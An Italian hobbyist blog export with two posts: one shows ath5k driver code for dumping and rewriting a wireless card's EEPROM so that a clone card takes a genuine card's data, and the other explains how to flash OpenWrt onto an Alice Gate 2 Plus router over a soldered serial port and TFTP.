<b><span style="color: #dede49;">return</span></b> <b><span style="color: #ff54ff;">0</span></b><b>;</b> <b>}</b>
udelay<b>(</b><b><span style="color: #ff54ff;">15</span></b><b>);</b> <b>}</b>
status <b>=</b> ath5k_hw_reg_read<b>(</b>ah<b>,</b> AR5K_EEPROM_STATUS<b>);</b>
printk<b>(</b>KERN_ERR <b><span style="color: #af7f00;">" status: %x"</span></b><b>,</b> status<b>);</b>
printk<b>(</b>KERN_ERR <b><span style="color: #af7f00;">" TP: -ETIMEDOUT"</span></b><b>);</b>
ath5k_hw_reg_write<b>(</b>ah<b>,</b> <b><span style="color: #ff54ff;">0</span></b><b>,</b> AR5K_EEPROM_STATUS<b>);</b>
AR5K_EEPROM_READ<b>(</b> offset<b>,</b> <b>*</b>data<b>);</b>
printk<b>(</b>KERN_ERR <b><span style="color: #af7f00;">" Check: %x"</span></b><b>,</b> <b>(</b>u32<b>)</b> <b>*</b>data<b>);</b>
<b><span style="color: #dede49;">return</span></b> <b>-</b>ETIMEDOUT<b>;</b>
<b>}</b></pre>
<br />
Questa funzione non fa altro che scrivere la eeprom in blocci di 2 byte ( WORD ).<br />
<br />
<br />
A questo punto l'idea più semplice è ottenere un dump della eeprom della scheda autentica, cambiarne il mac address e scriverla sulla eeprom della scheda cinese.<br />
<br />
Per fare ciò senza creare un device a blocchi, date le dimensioni esigue della eeprom, è sufficiente implementare con printk un semplice dump che finirà sui log.<br />
<br />
<br />
Ciò è possibile farlo inserendo in ath5k_eeprom_init il seguente blocco di codice:<span style="background-color: white; font-size: 14px;"><span style="font-family: inherit;"><br /></span></span>
<span style="background-color: white; font-size: 14px;"></span><br />
<pre style="color: #141312;"><pre style="background-color: black; color: #b2b2b2; font-weight: bold;"><b><span style="color: #54ff54;">int</span></b> offset<b>;</b>
u16 val<b>;</b>
printk<b>(</b><b><span style="color: #af7f00;">"Dumping eeprom:</span></b><b><span style="color: #ff54ff;">\n</span></b><b><span style="color: #af7f00;">"</span></b><b>);</b>
<b><span style="color: #dede49;">for</span></b> <b>(</b> offset <b>=</b> <b><span style="color: #ff54ff;">0</span></b><b>;</b> offset <b><</b> <b><span style="color: #ff54ff;">0x3ff</span></b><b>;</b> offset <b>+=</b> <b><span style="color: #ff54ff;">1</span></b> <b>)</b>
<b>{</b>
AR5K_EEPROM_READ<b>(</b>offset<b>,</b> val<b>);</b>
printk<b>(</b><b><span style="color: #af7f00;">"%04x: %04x</span></b><b><span style="color: #ff54ff;">\n</span></b><b><span style="color: #af7f00;">"</span></b><b>,</b>offset<b>,(</b><b><span style="color: #54ff54;">unsigned</span></b> <b><span style="color: #54ff54;">int</span></b><b>)</b>val<b>);</b>
<b>}</b>
printk<b>(</b><b><span style="color: #af7f00;">"Dump done</span></b><b><span style="color: #ff54ff;">\n</span></b><b><span style="color: #af7f00;">"</span></b><b>);</b></pre>
</pre>
<br />
<br />
Questo codice provvederà ad eseguire il dump della eeprom nel formato indirizzo:word.<br />
<br />
<br />
Una volta eseguito il dump, è necessario trovare in esso il mac address della propria scheda , il quale sarà riportato in ordine inverso ( nel caso fosse 01:02:03:04:05:06 , ci sarà 0506 , 0304, 0102 ), e modificarne l'ultima cifra ( 05:06 ) prefribilmente.<br />
<br />
<br />
Una volta creato il dump, con un semplice script python ( che verrà pubblicato a breve ) è possibile generare il sorgente C per chiamare la funzione ath5k_hw_eeprom_write per ogni word da scrivere sulla eeprom.<br />
<br />
Per scrivere la eeprom è necessario, una volta rimosso il coperchio dello schermo RF va collegato a massa tramite una resistenza 150-300 ohm il pin Write Protect della eeprom in modo da abilitarne la scrittura, e va tenuto collegato durante tutta la procedura di scrittura.<br />
<br />
Nonostante sia presente una resistenza di pullup da 10kOhm , la resistenza da collegare a massa è più che sufficiente a portare il pin allo 0 logico.<br />
<br />
<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsz7PW0eMytG1A6xRbB-i7mdFiJMS12lSToOeClPzC4auXbkYfmzqj5uWqLYV-Y2PhP_5ovZ276OqQHtsi3LLe0tiXIXiVkAFiyH3r0kwczRNTQHwytdmjmf7xPleG845epac0YdwX4APj/s1600/ath2.png"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsz7PW0eMytG1A6xRbB-i7mdFiJMS12lSToOeClPzC4auXbkYfmzqj5uWqLYV-Y2PhP_5ovZ276OqQHtsi3LLe0tiXIXiVkAFiyH3r0kwczRNTQHwytdmjmf7xPleG845epac0YdwX4APj/s320/ath2.png" /></a><br />
<br />
Una volta completata la scrittura, se la scheda da dove è stato preso il dump della eeprom a aveva un pezzo di materiale termoconduttore fra il coperchio dello schermo ed il chip wireless, è necessario applicarne uno anche sulla scheda cinese.<br />
<br />
A questo punto è possibile utilzzare la scheda con i drivers non modificati come se fosse autentica.<br />
<br />
<span style="background-color: white; font-size: 14px;"><span style="font-family: inherit;"><br /></span></span>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-41501170476563263012013-04-27T10:53:00.002-07:002013-04-27T10:57:11.275-07:00Installare openwrt sull'Alice Gate 2 Plus Wifi Voip - AGPF<h2>
Occorrente</h2>
<div>
<ul>
<li>Convertitore USB-Seriale ( anche un arduino va bene a tale scopo in quanto ne contiene uno )</li>
<li>Saper usare e possedere un saldatore a stagno per elettronica</li>
<li>Avere a disposizione 1 macchina con linux e saperci installare un server TFTP</li>
<li>Un programma per usare il terminale seriale compatibile con gli escape xterm , io ho utilizzato gtkterm</li>
</ul>
<h2>
Collegamento della porta seriale sul router</h2>
</div>
<div>
Per collegare la porta seriale sul router si devono saldare 3 cavi sulle piazzole contrassegnate TX , RX e GND in questa disposizione ( tenendo le porte ethernet verso l'alto ed il PCB sul lato componenti ):</div>
<div>
<br /></div>
<table border="1">
<tbody>
<tr><td>GND</td><td>RX</td></tr>
<tr><td>GND</td><td>+3.3V</td></tr>
<tr><td>GND</td><td>TX</td></tr>
</tbody></table>
<br />
Una volta saldati i 3 cavi, collegare PRIMA GND con il convertitore, altrimenti c'è il rischio a causa di possibili dispersioni dell'alimentatore dell'AGPF di danneggiare il convertitore USB-Seriale ed il processore dell'AGPF.<br />
Nel caso dell'arduino , a differenza del caso con un convertitore USB-Seriale, dovrete collegare TX con TX e RX con RX, in quanto la serigrafia sul circuito dell'arduino si riferisce al microcontroller e non al convertitore.<br />
Nonostante l'arduino lavori a 5 volt e l'AGPF a 3.3 , non mi è mai successo che ci fossero danni o malfunzionamenti, si consiglia comunque di usare il meno possibile la porta seriale in queste condizioni.<br />
La porta seriale va impostata a 115200 baud, 1 bit di parità e 8 bit di dati.<br />
<h2>
Entrare nella modalità recovery</h2>
<div>
Una volta collegati i cavi accendendo il router si dovrebbero vedere i messaggi di avvio sulla porta seriale, non appena compare una qualsiasi scritta premere subito ripetutamente il tasto invio per entrare in modalità recovery.</div>
<div>
In modalità recovery dovrebbe sulla porta seriale comparire il prompt "CFE>", accendersi il led power rosso ed il router avrà indirizzo ip 192.168.1.1 sulla porta ethernet numero 1.</div>
<div>
Nel caso non compaia nessuna scritta o il router non risponda alla pressione del tasto invio, ricontrollare i collegamenti e riprovare.</div>
<h2>
Eseguire il flash</h2>
<div>
Una volta che il router è in recovery, è sufficiente collegare un cavo ethernet verso una macchina con un indirizzo sulla stessa rete ( ma diverso da 192.168.1.1 ) che abbia un server tftp installato ed eseguire flashimage 192.168.1.X:nomefile.bin , dove 192.168.1.X è l'indirizzo della macchina e nomefile.bin è il nome del file da flashare.</div>
<div>
Il firmware da flashare è quello jffs 128k, senza cfe per AGV2+W, scaricabile all'indirizzo <a href="http://downloads.openwrt.org/snapshots/trunk/brcm63xx/" target="_blank">http://downloads.openwrt.org/snapshots/trunk/brcm63xx/</a></div>
<div>
<br /></div>
<div>
Nel dettaglio la procedura è mostrata nel seguente video</div>
<div>
<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/_C7ztoMlY2A" width="560"></iframe>
<br />
<h2>
Utilizzare la porta USB del router</h2>
</div>
<div>
Per utilizzare la porta usb del router è necessario installare kmod-usb-ohci , il quale abiliterà il controller USB host del router.</div>
<div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com2